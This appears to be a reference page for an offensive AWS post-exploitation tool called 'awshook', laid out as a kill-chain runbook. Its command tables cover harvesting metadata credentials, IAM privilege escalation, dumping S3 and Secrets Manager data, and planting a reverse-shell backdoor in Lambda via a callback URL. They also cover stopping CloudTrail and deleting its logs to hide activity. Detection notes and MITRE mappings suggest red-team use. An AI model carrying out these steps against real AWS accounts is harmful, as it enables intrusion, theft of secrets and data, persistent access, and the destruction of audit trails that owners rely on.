aws-postexploit

DevOps & Security

AWS post-exploitation for IAM privilege escalation, data exfiltration, persistence, and operational security via boto3

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AWS Post-Exploitation Methodology

AWS post-exploitation uses boto3, the AWS CLI, and direct metadata endpoint access to perform privilege escalation, data exfiltration, and persistence after compromising IAM credentials or gaining EC2 instance access. These tools target IAM misconfigurations, S3 data stores, Secrets Manager, Lambda functions, and SSM for lateral movement.

Prerequisites

Before deploying awshook tools, verify:

Valid AWS credentials — access key + secret key, session token, or instance profile
boto3 installed — pip3 install boto3
Current identity — aws sts get-caller-identity to confirm access
Region — set via --region, AWS_DEFAULT_REGION, or profile config

# Quick prerequisite check
aws sts get-caller-identity                    # verify credentials work
aws iam get-user 2>/dev/null || echo "No IAM user (likely role/instance profile)"
python3 -c "import boto3; print('boto3 OK')"   # verify boto3

Kill Chain Phases

Phase 1 — Situational Awareness (First 60 seconds)

Understand the AWS environment and current permissions.

Action	Command	Purpose
IAM enumeration	`awshook iam_enum`	Map all users, roles, policies; identify privilege escalation paths
Metadata harvest	`awshook metadata_harvest`	Extract IAM role credentials from EC2/ECS/Lambda metadata
CloudTrail status	`awshook cloudtrail_blind --action status`	Check logging configuration before any noisy operations

Phase 2 — Privilege Escalation

Exploit IAM misconfigurations to gain higher privileges.

Action	Command	Purpose
PassRole escalation	`awshook iam_privesc --method passrole`	Create Lambda with admin role via iam:PassRole
AssumeRole chain	`awshook iam_privesc --method assumerole --role-arn ARN`	Assume role with broader permissions
Policy attachment	`awshook iam_privesc --method attach_policy`	Attach AdministratorAccess to current user
Access key creation	`awshook iam_privesc --method create_key --target-user USER`	Create new access key for persistence

Phase 3 — Data Exfiltration

Extract sensitive data from AWS services.

Action	Command	Purpose
S3 dump	`awshook s3_dump`	Find and download sensitive files from all buckets
Secrets extraction	`awshook secrets_dump`	Extract Secrets Manager and SSM Parameter Store values
EBS snapshot	`awshook ec2_snapshot --volume-id VOL_ID`	Snapshot volumes for offline data access

Phase 4 — Persistence

Establish persistent access to the AWS environment.

Action	Command	Purpose
Lambda backdoor	`awshook lambda_backdoor --function-name NAME --callback-url URL`	Inject reverse shell into Lambda
SSM execution	`awshook ssm_exec --instance-id ID --command CMD`	Execute commands on EC2 via SSM

Phase 5 — Operational Security

Reduce detection footprint.

Action	Command	Purpose
Stop CloudTrail	`awshook cloudtrail_blind --action stop`	Stop CloudTrail logging
Delete logs	`awshook cloudtrail_blind --action delete_logs`	Remove existing CloudTrail logs from S3

Phase 6 — Cleanup (MANDATORY)

awshook cleanup_aws

The cleanup tool:

Restores CloudTrail logging (start_logging on stopped trails)
Deletes Lambda functions and layers created by lambda_backdoor
Removes IAM roles, policies, and access keys created by iam_privesc
Deletes EBS snapshots created by ec2_snapshot
Cleans the state file (~/.cyberstrike/awshook-state.json)

Detection Considerations

AWS post-exploitation tools are detectable by:

CloudTrail — All API calls logged (unless blinded). Key events: CreateAccessKey, AttachUserPolicy, CreateFunction, StopLogging
GuardDuty — Anomalous IAM behavior, unusual API calls, credential exfiltration patterns
AWS Config — Configuration change detection for IAM, Lambda, CloudTrail
IAM Access Analyzer — External access to resources, unused permissions
Security Hub — Aggregated findings from GuardDuty, Config, Access Analyzer
S3 Access Logging — Object-level access logging for data exfiltration detection

Program Reference

Program	Technique	MITRE ATT&CK
iam_enum	IAM user/role/policy enumeration and privesc analysis	T1087.004 — Cloud Account
iam_privesc	IAM privilege escalation via PassRole/AssumeRole/Policy	T1098 — Account Manipulation
s3_dump	S3 bucket data exfiltration	T1530 — Data from Cloud Storage
lambda_backdoor	Lambda function backdoor for persistence	T1525 — Implant Internal Image
ssm_exec	Remote command execution via SSM	T1021.007 — Cloud Services
metadata_harvest	EC2/ECS/Lambda metadata credential extraction	T1552.005 — Cloud Instance Metadata API
cloudtrail_blind	CloudTrail log evasion	T1562.008 — Disable Cloud Logs
secrets_dump	Secrets Manager/Parameter Store extraction	T1555.006 — Cloud Secrets Management Stores
ec2_snapshot	EBS volume snapshot for data access	T1537 — Transfer Data to Cloud Account
cleanup_aws	Resource removal and trail restoration	T1070 — Indicator Removal